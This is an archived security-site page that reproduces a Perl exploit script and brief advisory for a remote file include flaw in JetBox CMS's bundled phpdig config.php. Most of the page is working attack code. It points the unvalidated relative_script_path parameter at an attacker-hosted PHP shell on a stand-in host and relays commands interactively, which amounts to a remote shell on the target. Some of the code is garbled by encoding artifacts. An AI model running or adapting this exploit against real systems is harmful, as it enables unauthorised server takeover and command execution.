Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: b06-2038.htm

JetBox CMS Remote File Include



JetBox CMS Remote File Include
JetBox CMS Remote File Include



#!/usr/bin/perl

############

# JetBox CMS Remote File Include
# Exploit & Advisory:  beford 

#
# uso:# =09perl own.pl   

# =09=09perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd 
#

# cmd shell example: 

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/ 
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while()

{

=09print "[shell] \$";

=09while()      {

=09=09$cmd=$_;

=09=09chomp($cmd);
=09=09if (!$cmd) {
=09=09=09last;
=09=09}

=09=09$xpl = LWP::UserAgent->new() or die;

=09=09$req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

=09=09$res = $xpl->request($req);

=09=09$return = $res->content;

=09=09$return =~ tr/[\n]/[=EA]/;

=09=09
=09=09if ($return =~/Error: HTTP request failed!/ || $return =~/: No se
puede ejecutar un comando en blanco /) {
=09=09=09print "\nNo se puede conectar al host de la cmd o el comando es invalido\n";
=09=09=09exit;
=09=09} elsif ($return =~/^.Fatal.error/) {
=09=09=09print "\nComando Invalido, o no hubo respuesta\n\n";
=09=09}
=09=09if ($return =~ /(.*)/) {

=09=09=09$finreturn = $1;

=09=09=09$finreturn=~ tr/[=EA]/[\n]/;

=09=09=09print "\r\n$finreturn\n\r";

=09=09=09last;

=09=09} else {
=09=09=09print "[shell] \$";
=09=09}

=09}

} last;


sub head()  {

=09 print "\n============================================================================\r\n";

=09 print " JetBox CMS Remote File Include\r\n";

=09 print "============================================================================\r\n";

 }


sub usage() {

=09 head();

=09 print " Usage: perl own.pl   \r\n\n";

=09 print "  - Full Path : http://host/claroline/ [remember the 
trailing slash noob]\r\n";

=09 print "  - PhpShell : http://atacate/shell.gif \r\n"; 

=09 print "  - var name used in phpshell : cmd  \r\n";

=09 exit();

 }


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH